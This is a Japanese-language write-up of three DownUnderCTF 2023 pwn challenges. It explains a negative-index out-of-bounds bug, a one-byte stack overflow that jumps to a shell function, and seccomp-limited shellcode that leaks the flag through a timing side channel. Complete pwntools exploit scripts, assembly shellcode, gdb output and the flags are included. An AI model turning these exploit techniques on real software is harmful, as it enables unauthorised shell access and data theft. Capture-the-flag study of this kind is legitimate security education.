DUCTF2023 Writeup
downunderflow
範囲外参照の問題です。
この問題はソースコードが配布されるので確認します。
logins[idx]=="admin"を成立させればクリアですが、7以上の入力ははじかれてしまいます。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define USERNAME_LEN 6
#define NUM_USERS 8
char logins[NUM_USERS][USERNAME_LEN] = { "user0", "user1", "user2", "user3", "user4", "user5", "user6", "admin" };
void init() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}
int read_int_lower_than(int bound) {
int x;
scanf("%d", &x);
if(x >= bound) {
puts("Invalid input!");
exit(1);
}
return x;
}
int main() {
init();
printf("Select user to log in as: ");
unsigned short idx = read_int_lower_than(NUM_USERS - 1);
printf("Logging in as %s\n", logins[idx]);
if(strncmp(logins[idx], "admin", 5) == 0) {
puts("Welcome admin.");
system("/bin/sh");
} else {
system("/bin/date");
}
}
しかし、マイナス値の入力検証はしていないため、logins[idx]=="admin"になるようなマイナスの整数を入力すればよいです。
gdbでディスアセンブル結果を確認すると入力された値の下位2バイトを使い、参照先を決定しているので、-65529(0xfff9)を入力すればシェルを取れます。
0x555555555309 <main+44> call read_int_lower_than <read_int_lower_than>
► 0x55555555530e <main+49> mov word ptr [rbp - 2], ax
0x555555555312 <main+53> movzx eax, word ptr [rbp - 2]
0x555555555316 <main+57> movsxd rdx, eax
以下Flag
DUCTF{-65529_==_7_(mod_65536)}
one byte
1バイトの上書きでシェルを取れますか?という問題でした。
ソースコード
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void init() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}
void win() {
system("/bin/sh");
}
int main() {
init();
printf("Free junk: 0x%lx\n", init);
printf("Your turn: ");
char buf[0x10];
read(0, buf, 0x11);
}
セキュリティ緩和機構は以下の通りです。
canaryがなく、32bitバイナリであることがわかりました。
$ checksec onebyte
[*] '/home/ubuntu/workspace/ctf/ductf2023/one_byte/onebyte'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
次にgdbでreadにb"a"*0x11を入力した際の挙動を見てみます。
以下のpop 命令で、1文字だけ上書きしたスタック内の値がecxに入ります。
また、retの直前にecx-0x4のアドレスをespに転送しています。
► 0x56556296 <main+104> pop ecx
0x56556297 <main+105> pop ebx
0x56556298 <main+106> pop ebp
0x56556299 <main+107> lea esp, [ecx - 4]
0x5655629c <main+110> ret
この際に転送される値を確認すると、stackアドレスの範囲を指していることがわかります。
main関数内のreadでは、stack内に入力値を格納するので、win関数の開始アドレスを入力し、上書きする1byteでwin関数のアドレスを指してあげるようにすればクリアです。
※PIEは有効ですが、このバイナリはinit関数のアドレスをリークしてくれます。
このアドレスからwin関数のアドレスを特定できます。
※stackアドレスは実行ごとに変化してしまいますが、末尾1nibbleがキリのいい数値になっていれば現実的な確率(1/16)でwin関数にジャンプします。
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
b *main+88
b *main+93
continue
'''.format(**locals())
exe = "./onebyte"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
for _ in range(32):
io = start()
io.recvuntil(b"Free junk: ")
elf_leak = int(io.recvline()[:-1],16)
info("elf_leak %#x",elf_leak)
elf_base = elf_leak - 0x1bd -0x1000
info("elf base %#x",elf_base )
elf.address = elf_base
win = elf.sym["win"]
payload = p32(win) *4
payload += b"\x34"
io.send(payload)
io.interactive()
# DUCTF{all_1t_t4k3s_is_0n3!}
the great escape
シェルコード問です。
限られたシステムコールでflagが取れますか?という問題でした。
ソースコードは配布されないのでGhidraなどで逆コンパイルしてみると、入力した値が関数としていることがわかります。
また、seccomp関数により使えるシステムコールは、openat,read,nanosleep,exitのみとなっています。
nanosleepが使えるので第一引数にflagの文字列を一文字ずつ渡し、文字コード秒スリープさせることでflagリークできないかと考えました。
しかし問題サーバは60秒で接続を切ってしまう(多分)のでこの方法だと上手くいきませんでした。(そもそも時間がかかりすぎるという問題もある)
そのため、readのみを使う方法に切り替えました。
- openat -> read(fd,buf,60)でflagを読み取る
- read(0,buf,1)で標準入力から1文字入力し、bufに格納する
- flag文字列内の1文字と入力した1文字を比較し、真なら即時exit,偽なら無限ループさせる
あとはソルバーを書くだけ。
from pwn import *
import time
import string
CHARACTERS = string.printable
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
b *main
continue
'''.format(**locals())
exe = "./jail"
context.arch = "amd64"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
res = "DUCTF{"
for i in range(6,60):
sc = asm(f"""
openat:
xor rdi,rdi
xor rsi,rsi
xor rdx,rdx
mov edi, -100
lea rsi, [rip+filename]
mov rax,257
syscall
read:
mov rdi,rax
push 0
mov rsi,rsp
mov rdx,60
xor rax,rax
syscall
xor rbx,rbx
mov bl, [rsi+{i}]
read2:
mov rdi,0
push 0
mov rsi,rsp
mov rdx,1
xor rax,rax
syscall
xor rcx,rcx
mov cl, [rsi]
loop:
cmp cl,bl
jne loop
jmp exit
exit:
mov rax, 0x3c
syscall
filename:
.string "/chal/flag.txt"
""")
for c in CHARACTERS:
io = start()
before = time.time()
io.sendline(sc)
io.sendline(c.encode())
io.clean(timeout=0.5)
after = time.time()
code = after - before
io.close()
print(code)
if code < 0.5:
res+=c
info("res is: %s",res)
break
if res[-1] == "}":
break
print(res)
#DUCTF{S1de_Ch@nN3l_aTT4ckS_aRe_Pr3tTy_c00L!}
※このバイナリでは入力値を受け取るのにfgets関数を使っているため、10文字目を指定する際にshellcode内に0xaが入ってしまい、即時エラーが発生してしまいます。
そのため、10文字目だけはadd命令などを使って0xaが入らないようにする必要があります。
競技中はこれにまんまとハマりました。
Discussion